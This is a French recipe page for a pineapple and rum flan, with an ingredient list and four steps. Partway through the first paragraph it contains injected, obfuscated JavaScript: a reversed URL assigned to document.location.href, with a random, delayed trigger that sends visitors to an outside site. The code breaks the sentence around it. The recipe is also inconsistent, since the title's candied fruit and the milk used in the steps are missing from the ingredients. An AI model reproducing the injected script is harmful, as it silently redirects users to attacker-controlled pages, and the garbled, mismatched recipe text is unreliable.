Flan aux fruits confits et au rhum
2017-01-19- Cuisine : Flans
- Thématique : Végétarien
- Niveau : Facile
Délayez la maïzena avec 1 cuillère à soupe de lait. Dans une casserole déposez les sucres, avec l’eau froide, sur feu vif faites colorer jusqu’à obtenir une couleur dorée. Enduisez le fond et le tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour d’un moule à manqué. Réservez.
Ingrédients
- Pour 6 personnes
- 6 œufs entiers
- 50 g de sucre en poudre
- 1 cuillère à soupe de maïzena
- 2 verres à liqueur de rhum
- 1 boite d'ananas
- Pour le caramel :
- 150 g de sucre en poudre
- 2 cuillères à soupe d'eau froide
Préparation de la recette
Etape 1
Délayez la maïzena avec 1 cuillère à soupe de lait. Dans une casserole déposez les sucres, avec l'eau froide, sur feu vif faites colorer jusqu'à obtenir une couleur dorée. Enduisez le fond et le tour d'un moule à manqué. Réservez.
Etape 2
Egouttez l'ananas et passez dans un mixeur. Versez dans une casserole le jus d'ananas, le sucre en poudre. Portez à ébullition tout en remuant pendant quelques minutes.
Etape 3
Dans un récipient battez les œufs énergiquement, incorporez la maïzena, le rhum, ainsi que la purée d'ananas. Bien mélanger. Versez dans un moule à manqué beurré.
Etape 4
Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire dans un bain-marie pendant 30 minutes. Vérifiez la cuisson. Laissez refroidir. Placez au réfrigérateur pendant 1 heure. Juste avant de servir démoulez et dégustez.
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